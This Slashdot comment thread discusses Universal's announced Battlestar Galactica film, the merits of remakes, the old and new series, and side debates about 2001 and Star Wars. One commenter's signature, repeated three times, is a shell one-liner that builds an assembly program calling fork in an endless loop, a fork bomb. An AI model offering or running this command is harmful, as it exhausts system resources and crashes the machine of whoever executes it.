Slashdot Mirror
Battlestar Galactica Feature Film Confirmed
Dave Knott writes "Entertainment Weekly reports that Universal Pictures has confirmed rumours of a Battlestar Galactica feature film. Directed by Bryan Singer, and co-produced by original series creator Glen Larson, the new movie will not be related to the recently concluded SyFy Network series. Rather, it will be a 'complete re-imagining of the sci-fi lore that was invented by Larson back in the '70s.'"
Please have some new ideas. Please!
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
I never bought into any of this re-imagining crap. It's not like how Lucas was able to squeeze more story out of the Star Wars trilogy by adding in effects that brought it up to modern-day standards (and fixed the story in parts that didn't make sense). The re-imagining of BSG was almost a totally different show with only the thinnest of veneers tying it to the original series.
I liked the show, though it was definitely too dark (lighting-wise) and the overuse of 'frak' was annoying, but I felt that it could probably stand on its own as a series.
I went back and watched several Star Trek TOS episodes and found them to be clever, campy, and very forward thinking. If I were to watch TOS and DS9 back to back, I think I'd have the same reaction as I did to BSG. The difference, of course, is that there was the excellent TNG series which bridged the gap between TOS and DS9. Any re-imagining of a series that changes the fundamental aspects of the base concept is going to run into this problem.
It's not a re-imagining. It's a cashing-in on the name value of the original concept. I think it is nothing short of a rip off for those who loved the original series. It's also a rip off for those who like the new series itself but are forced to associate it with the original series.
Brought to you by the same minds that thought Syfy was a good name change......
Though I did enjoy the series... To be honest, I don't think a movie that takes another shot at what the series did (even if in a different light) will be terribly interesting. I am sure that they will make it look spiffy with spectacular special effects and all... but that does not a good movie make. Like DNS-and-BIND said... come up with a new idea, don't just re-vamp old ones and ruin them.
I can only hope. The 1970's show was something I loved as a kid (I remember running to the TV when I heard the theme song come one), and it's something my little kids have enjoyed. The SciFi remake even bothered me as an adult (the part where at the beginning of the series, the Cylon chick snaps a human baby's neck.)
There's an audience for this kind of fiction (as I'm sure SciFi's ratings proved), but I'd much rather have something I could take my kids to and just plain enjoy.
As a series BG is perfect , one of the best Sci Fi series in a generation. But no, they've got to milk the franchise until it goes moo and dies. Isn't the new Caprica series enough? Why can't hollywood producers know when something is complete and just leave it as is to be savoured , not slowly milked to death because i'll bet you this film won't be the last.
Larson hated the new series
Are we not allowed to have adult sci-fi now? If you want to let your kids watch sci-fi theres plenty of sacharrine shit from Pixar and the like available.
"The SciFi remake even bothered me as an adult (the part where at the beginning of the series, the Cylon chick snaps a human baby's neck.)"
You're coming across as just a teensy bit wet my friend.
Even if this is completely unrelated to the SyFy series, Singer is not a small name in the movie business. So if it gets more people interested enough to watch the TV show, I can't say it's a bad thing.
It's a cashing-in on the name value of the original concept.
If the jumpsuits are skin-tight, would it be all bad?? I, for one, say bring it on.
Take the cheese to sickbay, the doctor should see it as soon as possible - B'Elanna Torres, "Learning Curve"
Penny Arcade talks about milking brands.
I loved the new BSG series - one of the things I've enjoyed doing most involving a screen in the last several years. But this just seems like a really shameless attempt to get more money out of me. At least let a couple years pass; I can't even buy all the episodes of BSG on DVD yet.
Just sounds like sour grapes to me. This isn't the 1970s anymore - TV series (well, the upmarket ones) need people who can actually act well, not just stand on their mark looking good. ANd I don't think anyone could accuse Benedict of being the worlds best actor - calling him wooden would be unfair to the pine desk I'm typing this at.
After they managed to mess up the finale of the series completely, I think we shouldn't have high hopes for the film at all.
Let me guess a bizarre time paradox will result in an alternate reality, allowing them to re-imagine the series. Where have I seen that before?
"Milking a franchise" for writers/producers/distributors is like re-using bits of code for developers. It worked once, and with only a little bit of tweaking, it will work again. If you can bill twice for something you've already written, you do it. Obviously.
Entertainment *can* be art, like code *can* be poetry, but mostly it's not. People gotta eat.
This is a nice addition but I really can't wait for Caprica the series comming out in 2010. The pilot was great IMHO!
And I don't see why a sci fi series dealing with adult themes should be made child friendly. Kids have enough TV of their own. Its bad enough with most films being downgraded to 12 certificates without infliciting the same on TV shows. Clearly you think the original series is rubbish or you would have shown your kids that instead.
I'm a child of the late 80s and 90s, and I grew up watching Star Trek DS9 and later spending my teenage years watching the newer BSG series. So out of curiosity, I went back and watched the old BSG... There's a reason they did a rebooted series and not something based off the old one. Because the old one is a piece of crap. It was morally simplistic, hokey, ripping too much off Star Wars, too Mormon (Larson is a Mormon), and requiring too great a suspension of disbelief in order to enjoy.
All of this was re-imagined before and it will be re-imagined again.
I don't think I could take BSG shakeycam footage on a big screen!
Shame on you TacoMan :)
Unfortunately Sci fi is a genre that doesn't age well unless its done *really* well. Cheap sets, tacky costumes, poor technology (sorry , a wardrobe with flashing lights and some tapes spinning doesn't cut it in 2009) and bad acting end up making something made in the 70s or 80s almost comical now. One of the few exceptions I can think of is Space 1999 (not sure if the yanks ever got that) which I watched last year and though it looked a bit dated the effects somehow still worked and Martin Landau was/is a fscking good actor.
I caught an episode of UFO once. From a modern perspective it wasn't great but I could almost watch it - until one of the shots where the actors were wearing space helmets and bell-bottoms. I just couldn't take it seriously after that.
IMO Gerry Anderson should have stuck to puppets. I know it was always his ambition to do live-action, but supermarionation was what he did best. Thunderbirds has barely aged at all.
An sci-fi example of something really done well: Stanley Kubrick's 2001: A Space Odyssey.
Let's not forget, Singer screwed Superman...
Why was this modded down? it was unfortunately true... (I did not write the above post, but happen to agree).
Politics will sooner or later make fools of everybody... - Dick Armey
Actually after hearing all my life about how great that movie is, I tried to watch it last year. I might it about half way through before the cheesiness (especially the soundtrack) was too much to bear. Sometimes I think people who saw the original before it was outdates simply view it later with different standards than people watching for the first time.
"People who think they know everything are very annoying to those of us who do."-Mark Twain
"Thunderbirds has barely aged at all."
Agreed. I guess its because its puppets which makes it almost cartoon like and cartoons generally age much more slowly than live action.
Ok, when the NEW BSG came out, I was like...is this a continuation, is this a complete do over ...how is it going to work...
They came up with a sort of nice way to begin the series as say they left then came back...
Now they are saying they are going back to the drawing board again....why? More importantly, are they going to keep Starbuck?
She is hot!
I'm with you on the most of your points, but the 70's Battlestar Galactica & the 00's Galactica are the same show exactly the same way the 1974 Three Musketeers and the 1993 Three Musketeers are the same movie. Or compare Mel Gibson's Hamlet to Kenneth Branagh's, or 1984's DUNE to the recent Sci-Fi. Things happen a little differently, but each one is a fair representation of itself.
To say that re-imagining is crap is to say that any story that is redone is automatically inferior to it's predecessor. Which I don't buy, because (who knows?) some day we might even get a version of Blake's 7 with good production values!
Did the new BSG go into territory the original didn't? Well yes, some. But *everything* that happened in the original series happened in the new one, which I give Sci-Fi kudos for. (Ok, excepting for the daggits or flying motorcycles...)
46. The Hobo smiles, his eyes glaze over, and he burps. "Beware the man who has lived longer than the Wasteland."
I'm in a seeming minority that enjoyed the old show that, admittedly, I grew up with and BSG 2004.
The former was a product of the times but suffered the same sort of flaws that would happen in similarly targeted family-friend shows of today - it had it's own Annoying Kid/Jar Jar (Boxy and Muffet the robot-ape-dog-thing), shocking techno-blags, appalling support actors (not to mention somewhat teak-like main actors). But there was always a sense of prevailing optimism, and heroes were heroes as opposed not dysfunctional man-children, an obligatory alcoholic main cast member, or psychotic nymphomaniacs.
Whilst the latter sometimes degenerated into misery TV - the point often missed in dark series is that against a background of apparent despair hope shines all the more brightly, increasing the poignancy of the moment. There was more of a sense of life aboard a naval vessel than the flying plastic city of the 1970s complete with pastelles.
My hope is that the new motion picture aims somewhere between the optimistic heroics, campness and suspciously Mormon-like super-aliens of the original; and the grim, dystopic, occasionally rapetastic recent series.
Problem is every time I watch any of the Thunderebirds I keep having a song run through my head...
"america...... America..... America F Yeah! here we come to save the mutherfin day now......"
Thunderbirds is forever changed now...
Do not look at laser with remaining good eye.
Nine years ago, Singer was working on a made-for-TV adaptation of BSG, but it got delayed and died and eventually Fox "lost interest" in the project.
So rather than sitting back and saying, "Well, Ronald D. Moore got lucky and did great, good for him!", Singer's got time now and is probably thinking "Hey, I can make a lot of money on this!" I'll bet whatever he does is based on the work from 2000. Or maybe it's Larson saying "Hey, I hated that re-imagining, let's see if Singer's still interested and I can make some coin on a movie instead!" Either way, it's the wrong reason to make a movie.
I don't have high hopes for this. RDM's BSG was one of the best TV series I've ever seen, and there's no way Singer will be able to even approach it. Especially after the Superman debacle.
You know what bothered me about the original BSG?
The colonials capture Baltar and two Cylons. Cylons are certainly self aware, but they basically take them to bits to see how they work. Later on they put them back together and the Cylons are malfunctional and the humans joke about it. And even when I was nine it struck me that "how funny would humans find it if the Cylons had done the same thing to a human, i.e. chopped her up, put her back together and her IQ was permanently impaired by the abuse". In the old series it seemed the people writing it were just too brutish to think of this sort of thing. I mean if you're something not obviously human and they captured you in a war then God help you basically. The whole thing seemed to be highly disturbing, especially as in the real world humans have regarded other races/nations as subhuman quite recently.
Say what you like about the new series and in retrospect it was a lot of portentous nonsense that seemed to hint at a depth that it didn't have, but at least the people writing it didn't seem to be capable of vivisecting their prisoners Mengele style and then joking about the fact that the prisoners are messed up by the experience.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
... and spruce up the old series with CGI environments... ships in the air and a couple of bantha or dewbacks walking through New Caprica before the attack?
Seriously, in how many ways does this story need to be told? It's why we have re-runs and syndication agreements.
I could see doing something like Richard Hatch's idea of creating a new movie that erases the embarrassment of Galactica 1980 and adds to the story where the original series left off, with as many of the original actors as you can get. But at what point does it get ridiculous? Is this what happens when you let studios own shows instead of the writers?
This just in: exclusive footage of BSG's Ron Moore commenting on the movie announcement at a recent SF convention:
http://www.youtube.com/watch?v=I876imp3R1Q
As long as Starbuck isn't suddenly invisible, it could work.
Yes, what a cheesy soundtrack. Richard Strauss and Gyorgi Ligetti were just cheap pop icons.
http://twitter.com/OLDTELEGRAM
No, 2001 is definitely rewatchable and awesome.
2010 on the other hand...
Please stop redoing the same old stories over and over again, ad nauseum. Instead, focus on putting more energy and creative thought into some newer and more original science fiction series. Put more effort into shows like Eureka, Fringe, or Warehouse 13 (although Warehouse 13 and Fringe are kind of like redoing X-files, they're still a little different, and still not just a continuation of an old series).
Bryan Singer is a fool to take this on. He wasn't a fool to be attached to it before the new series, but he is now. The most he can possibly hope for is a decent action flick. Nothing in his career suggests he has the capacity to top or even equal the brilliant first season of the new BSG series (aside from The Usual Suspects, which was really more about the script and acting than the direction). The whole thing just looks like a big cash-in on Glen Larson's part (since he owns the movie rights but not the new series).
In wake of the groundbreaking new series, there was absolutely no reason to make this movie.
SJW: Someone who has run out of real oppression, and has to fake it.
What bothered me most about the original was the way the Colonials just seemed to brush off the almost complete destruction of the human race and everyone they loved as if it were nothing. One minute their whole world has been destroyed, the next they're hanging out in an outer space disco making light-hearted jokes. After about the first hour of the series, no one seems to give much of a shit that the world has just ended. I bought that as a kid, when I didn't know better. But looking back at it now as an adult, especially after the comparatively minor events of 9-11 and the reverberations that caused, it's impossible to believe those characters are human beings or living in any sort of reality.
SJW: Someone who has run out of real oppression, and has to fake it.
Katie Sackoff Full Frontal
Like it or not, the 2004 series reset the bar for what "Battlestar Galactica" is. You can't make a new BSG based on the '70s version, totally ignoring the 2004 version.
It'd be like making a modern version of Pyramus and Thisbe.
(Not sure what I'm talking about? Read the plot synopsis in the link.)
then again, it might not suck
but then again, lets read 200 comments convinced it will suck already, based on not even rumors
zzz
intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
The whole point of the Cylons as machines was to "soften up the violence". They weren't
meant to be intelligent creatures. They were meant to be like your toaster to gloss over
the fact that they were being blown out of the sky by the hundreds every week.
"proper cylons" could have been a useful thing to come out of the re-imagining.
Some of the other revival concepts did precisely that.
A Pirate and a Puritan look the same on a balance sheet.
Most public comments and reviews found the reimagined series very good. However, no matter how good something is, that will always be a subjective opinion. That includes yours.
The Hollywood Singularity will occur when a movie is remade before the previous remake has finished production. I am glad to see this bold step towards the Hollywood Singularity.
- For the complete works of Shakespeare: cat
Then you can wipe the foam and spittle away from your chin when you've finsihed your rant.
I grew up in Apartheid South Africa, and anything controversial was banned and didn't appear on TV (damn, we only GOT TV in 1975). Guess whose shows ALL appeared on South African TV? Yes Glen A Larson, the master of superficial "family friendly" repetitive crap.
if you're among the /.-ers w/kids you're probably familiar w/this show but if not check in out on Disney[XD]!!!
it's a cartoon about a set of stepbrothers who build something outlandish (/sci-fi-ish) everyday & their older sister's attemts to get their mom to catch them in the act (kinda like Dexter's Labratory but WAY funnier!). there's also a sub-plot in every episode about their pet Platypus, Perry, who's actually a secret agent who sneaks off to battle a mad scientist who builds some crazy, evil sci-fi-ish contraption in each episode.
don't know how stupid that sounds to someone who's never seen it but it's FRAKIN' HILLARIOUS!!! _I_ love watching it even if the kids aren't around!
The BSG movie was created by man. It was camed. It was torrented. There are many copies...
#include <signature.h>
The new BSG was great, I thought. Awesome. That being said, and even though I have all the original broadcasts of it on DVD (or waiting to be made into DVDs), I doubt I'll watch it again anytime in the next decade. Why? Because it was so awesome, it held my attention so well that I know I won't forget significant details about it before then. Also because it was such a journey to make watching it, and I've still got the taste of dust from the trail of that journey in my mouth for at least 10 more years. I don't NEED some movie muddying up all my memories of watching BSG. Leave it the fuck alone!
Are YOU using the TOOL, or is the TOOL using YOU? Think about it!
Starbuck will be a guy again?
"I went on a diet, swore off drinking and heavy eating. And in fourteen days, I had lost exactly two weeks. Joe E. Lewis
It's not a question of datedness. Some people just don't 'get' 2001. That was true when it came out -- many people left the theatre during the ape scenes. And it's still true today.
Did the new BSG go into territory the original didn't? Well yes, some. But *everything* that happened in the original series happened in the new one, which I give Sci-Fi kudos for. (Ok, excepting for the daggits or flying motorcycles...)
Or Apollo raising Boxey. Or landing on a casino planet with insect people that start sticking the crew into hive compartments. Or Baltar becoming the leader of the Cylons. Or Starbuck being stranded on a prison planet where the inmates are the descendants of the original inmates. Or Apollo being stranded on a frontier planet and having an old-west shoot out with Red-Eye. Or encountering Count Iblis. And there are probably more that I just can't think of right now.
I guess it depends on your definition of *everything*.
Did you watch the show? Both Grace and Tricia had to play different versions of themselves throughout the entire series. They sure made a believable presentation out of it. I am pretty sure they both received some sort of awards. Maybe not Emey's/Oscars, whatever that crap is that they give to them lowest common denominator movies.
Life moves pretty fast; if you don't stop and look around once in a while, you could miss it. -FB
I'm just happy that Starbuck's uniform never turned white.
So are we going to finnaly find out how KITT went from a cylon to a 1982 Pontiac Firebird Trans Am?
The last episode did seem to be a re-imagining of the end of the Hitch-Hiker's Guide to the Galaxy (TV and (first) Radio series, it's the end of the Book "The Restaurant at the End of the Universe").
Just think of the parallels:
A man in a bath steers the last remnants of a dying race to their final destination planet, Earth, in a ship who's name starts with the letter 'B' ("B Ark" vs. "Battlestar Galactica").
They land in pre-historic times and out-compete the indigenous pre-agricultural humanoids, supplanting them in the ecosystem. These, and not the original inhabitants become the human race as we know them today.
The episode closes with the playing of a classic music track (Louis Armstrong vs. Jimmy Hendrix). ;-)
Agrajag: "Oh no, not again!"
As a series BG is perfect , one of the best Sci Fi series in a generation.
No, not perfect. It's the best series ever on the SciFi Channel, but the Deus Ex Machina finale negated much of its status as science fiction. The producers dodged all the hard questions the series had raised, especially about what happened with Starbuck. While I enjoyed this BSG very much before it ended, now my interest in it is just idle curiosity.
Actually, they had the Apollo-child angle in the episodes where Apollo is dealing with the black market. It just went down differently. :-)
The casino planet's analogue in the new series was New Caprica. The idea (almost losing again, sneak attack by the Battlestar(s), the destruction of the base ship) is all there.
Baltar *never* led the Cylons, he was just a basestar commander. In the new series, he likewise was a Cylon agent of the destruction of the colonies and something more dangerous than a basestar commander.
Red Eye's analogue in the new series is probably Scar, though the duel is in space and it doesn't involve Apollo.
Count Iblis...okay, you've got me there.
So...yeah pretty much everything. Just differently.
46. The Hobo smiles, his eyes glaze over, and he burps. "Beware the man who has lived longer than the Wasteland."
I wish Hollywood would create a self-imposed 3 year ban an ALL forms of remakes, reimaginings, video game knock offs and sequels. Stop strip-mining classics for more money and peeing all over original ideas and create something new. If they channeled their creativity into truly original ideas, we could have some new classics for people to enjoy for another 30 years. All they do new is spoil childhood memories.
Case in point: The original Star Wars trilogy was a classic beloved by millions. Lucas decided to milk the cash cow until blood came out, re-released the original trilogy in various tweaked formats several times and then followed them up with three more movies that convinced recent generations that everything to do with Star Wars sucks.
It wouldn't be so bad if this was a rare occurence, but this happens over and over, usually to the detriment of the original concepts. Alien(s), Terminator, Lost In Space, Doom (and any other video game movie by Uwe Boll), Buck Rogers, and Nightstalker are other examples. Hell, even crap shows like Dukes of Hazard and Knight Rider aren't immune to being drug up from the grave and reanimated in hopes of milking the corpse for money. I'm surprised they haven't brought back Giligan's Island, I Dream of Genie and Leave it To Beaver, or created a feature film based on The Early Years of Stringfellow Hawk: The troubled past of an Airwolf pilot. How about Children of the A-Team: Youth Avengers?
I can understand people wanting a movie that captures the essence of the old Battlestar Galactica series updated for a modern audience that's appropriate for kids. The best hope is if RHI Entertainment (formerly Hallmark Entertainment) does their own version. But then, it would be something entirely different.
One minute their whole world has been destroyed, the next they're hanging out in an outer space disco making light-hearted jokes
Actually, that part's quite realistic. A few days later is when you'll start seeing the psychological problems appear...
It's also worth noting that most of the action focussed on people in the military who, presumably, had been living on spaceships for a large portion of their lives and didn't necessarily identify strongly with the people back home. For them, the destruction of the colonies would be like someone in the west hearing about bombs in Iraq or Israel.
I am TheRaven on Soylent News
You know, we had Kirk and his green women. Then Riker was sleeping with everyone. Even Picard got to have some relationship times with people like Vash.
Microsoft, Apple, Google, Amazon what's the difference? All steal money from devs and control with walled gardens.
Unfortunately Sci fi is a genre that doesn't age well unless its done *really* well. Cheap sets, tacky costumes, poor technology (sorry , a wardrobe with flashing lights and some tapes spinning doesn't cut it in 2009) and bad acting end up making something made in the 70s or 80s almost comical now. One of the few exceptions I can think of is Space 1999 (not sure if the yanks ever got that) which I watched last year and though it looked a bit dated the effects somehow still worked and Martin Landau was/is a fscking good actor.
ROFL, while I generally agree with you-- Space: 1999 is your best example?! The best thing you can say about Space: 1999 now is that its opening credits inspired BSG's. (i.e. credits that contain clips from the episode you're about to see.) Every time the chick who could turn into things (Maya, I think?) turned into something, I nearly died laughing at the ridiculous costume/puppet/whatever.
The Eagle from Space: 1999, though, still holds up as an excellent spaceship model, and one of the most plausible ever put on TV.
Here's some better examples:
1) Buck Rogers from the 80s. Don't laugh. Other than the episodes that featured disco dancing, this show actually still works very well. The effects are definitely passable by modern standards.
2) Blake's 7. This one also holds together well when you remember that the crappy effects were crappy even when the series was originally aired. (That's important to remember, because the effects really are extremely crappy.) Also, Blake's 7 purposefully takes place in an extremely cluttered and busy version of "space", which can make it look like a bad 50s sci-fi movie at times, but I'm sure was done intentionally. (Look at the title screen: http://www.crunchgear.com/wp-content/uploads/blakes7.jpg they have like 7 planets in a single frame!)
3) The original Star Trek. The good thing about being decades ahead of your time is that when you're in re-runs, you still look pretty good. The worst offender in the old Star Trek is the miniskirts. The effects (done on film, as film effects technology were more perfected than video effects) still mostly pass muster, and there's very little dated about the scripts. Some scripts probably seemed *more* cheesy when they aired than they do now-- like the episode that featured space-hippies.
BTW for the importance of Star Trek's film effects, compare Star Trek effects with, say, Blake's 7 or Dr. Who from the same approximate era. The BBC, possibly to save money, insisted on doing all of their effects with video equipment, avoiding film. While they undoubtedly invented tons of new techniques in the process, the results were pretty pathetic.
Comment of the year
There's a large proportion of people who couldn't sit through 2001: A Space Odyssey when it came out. That has nothing to do with the soundtrack or "cheesiness," it's just one of those movies that people either love or hate.
Kubrick generally got the people wrong, (i.e. the USSR still existing in 2001, the stewardesses, the video phone, etc) but the tech remains extremely plausible. Except HAL.
Comment of the year
...until I read that it has nothing to do with the new series. What the hell? This makes no sense to me - having two different re-imaginings of the same series going on?? What???
The whole point of the Cylons as machines was to "soften up the violence". They weren't meant to be intelligent creatures. They were meant to be like your toaster to gloss over the fact that they were being blown out of the sky by the hundreds every week.
I'm sure that is true, but the show undermines that by having individual Cylons talk in a way that implies they are certainly self aware.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
What's happening with Hollywood (and others)?
It's a complete lack of innovation... or perhaps lack of self confidence in their new ideas...
There are so many 'remaking' and 're-imagining' old ideas/concepts... Come on, they are getting the 'going green' idea all wrong, this is not what we need to recycle!
Give us new Sci-Fi stories, completely new concepts that could become a pop-culture icon like Star Trek did! What is happening with the 'boldly going where no man has gone before' thing?
Sure, the remakes are full of special effects and action and all, but they tend to ruin my fond good old memories from childhood!
I'm a playwright. I wonder if the reason my plays aren't that popular is that I don't keep the same title, and character names each time, and "re-imagine" the setting, story, and plot. I guess I'm just doing this all wrong.
How many times must Battlestar Galactica be rebooted before the powers that be figure out that the money would be better spent on new efforts in the science fiction genera? Personally I have very high hopes for the Ridley Scott rendition of Forever War ; which if done right could be a really useful commentary on current world events while at the same time presenting an interesting, intelligent, and entertaining piece of science fiction. I also wouldn't mind seeing another Dune series of films except remade with a budget worthy of the Dune series (The SciFi series gets an 'A' for effort, but the lack of sufficient budget showed and it hurt the quality of the final result). Perhaps, Peter Jackson will consider that for his next project when he is done with the Hobbit. Personally, I prefer a more gritty and realistic science fiction experience with more grit and less glamor (think Firefly not Wall-e). Unfortunately, the people with the money are more interested in producing "wholesome family entertainment" than realistic science fiction so the best stuff will probably remain mostly relegated to books instead. Perhaps that is a better fate than seeing another classic of science fiction butchered by Hollywood for the McMasses.
No, but Admiral Cain did tacitly approve of her officers raping a number 6 model repeatedly, to the point where she suffered psychological scarring. Yeah, she didn't get vivisected. But the pain she suffered was far worse; after all, she deliberately chose suicide, something considered a sin by the Cylons. The only human to show her compassion was Baltar.
It's more than a little condescending to say that people who dislike 2001 must dislike it because they don't 'get' it. I, for one, got it just fine, I just thought that it was an insufferably boring movie and gave up on it. It has nothing to do with me not 'getting' it, it's simply an issue of bad pacing.
"16MB (fuck off, MiB fascists)" - The Mighty Buzzard
Well but at least in the new series the writers clearly did not approve of this.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"Or Apollo being stranded on a frontier planet and having an old-west shoot out with Red-Eye."
The Scar episode seed very similar. Of course it did not have the underlying meth/speed/druggie theme...
"There is nothing to do it. But to do it." -Floyd Pepper
That's the whole point. This is the re-imagined version. I've been lucky enough to get a sneak-peak at the opening scene, and it sounds great.
It starts off in space above one of the colonies, with a huge cruiser ship drifting by, and some overlaid narrative text, which reads, "A long time ago, in a galaxy far, far away..."
Wait- So will Starbuck have bell bottoms? Will they be dancin' the night away under the disco-ball while doing blow in the bathroom at Galaxy 54?
Ah screw it, just bring back the T&A and I'll be happy.;)
God did it! It must be right!
I'd go on a Vegan diet but the delivery time from Vega is too long. --brownkitty
I admit I saw a few Star Wars parallels, but a complete copy/ripoff/etc.? Heck no.
I listen to both RIAA and non-RIAA stuff if I like the music, tangential business/politics nonwithstanding.
All the other pirates would know that the Kessel run is say, 13 parsecs and to contract space to 12 parsecs means you are really moving. Of course this would be lost on Luke (and you :p) being that you don't usually travel near the speed of light. Obi Wan gets it though. Always thought of this as one of the more well written pieces of character dialog in the film.
LOL. Yeah, except that even if the Millineum Falcon was traveling at 99.999999% of the speed of light, it would still take over 39 years from Han's frame of reference to finish the dilated 12-parsec run. And although Han being very old despite his looks is the premise of my Star Wars/Highlander crossover fan-fiction, I don't think that was supposed to be the implication in the movie.
Ships in Star Wars travel at pretty modest speeds most of the time, until they make the jump to "light speed" or "hyperspace", which obviously means going much faster than Light Speed to travel between star systems in what is depicted as a few days or weeks in space at most. It was obviously the Falcon's FTL capability that Han was bragging about, since they couldn't escape the Empire's fighters until after they made the jump.
Star Wars ships travel FTL. Relativity says that's impossible, results in causal paradoxes, etc. etc. If you tried using the Lorentz equations anyway, you'd get a negative length. Relativity cannot help "did the kessel run in 12 parsecs" make any sense.
The explanation from the novels or whatever quoted above that Han used a clever route to shorten the run makes physical sense, though it still doesn't make a lot of sense to quote the distance when bragging about speed. If you take a legal shortcut in a race, you still quote the amount of time it took, not how far you ran. "I ran The Marathon in 25.8 miles (pretend that's possible)... in 3 weeks".
A much better explanation is simply that Han was just blustering, making up crap to impress Luke and Ben thinking they wouldn't know any better (though I always got the impression Ben did).
An even better explanation is that the Star Wars script isn't perfect, not every little thing needs to be enshrined in cannon, and Lucas picked a unit that sounded "space-y" without really knowing or caring what it meant. That's the worst part of Star Wars/Trek/insert-thing fanatics, where every tiny thing including mistakes is a crucial detail that must be accepted fact in that universe. Says the nerd who just argued about one, I know. :)
The enemies of Democracy are
I think my reimaginer is busted :(
That horse is really most sincerely dead. And smells awful. Why beat it again? For God's Sake, isn't there ANYTHING else we could be making? Like, any of the top 100 science fiction novels that haven't already been butchered on the big screen?
That depressing, disjointed, soap-opera of a 2004 series has completely cured me of ever wanting to see anything to do with Battlestar Galactica ever again as long as I live. If the entire crew were naked redhead supermodels, I still couldn't bring myself to buy a ticket. Let it go. Please. Just let it go.
Oliver's law of assumed responsibility: If you're seen fixing it, you will be blamed for breaking it.
Uh... bede bede bede was what Twiki used to say to Buck Rogers... of course, that was another Glen A. Larson production.
I'm definitely a fan of the original BSG series. I was the same age as Boxey (who was also a boy, in the original series) when it first aired, and I wanted to be him. Or at least have his daggit :) I'll get around to watching the recent "re-imagining" sometime, but it's going to exist in a separate box in my brain, I think, much like how I think of the book and movie versions of Stephen King's story "The Shining." Very interested to see how Larson will return to the material.
Get off my launchpad!
Sometimes I think people who saw the original before it was outdates simply view it later with different standards than people watching for the first time.
You could think that. Or, you could realize the truth. You just have poor taste.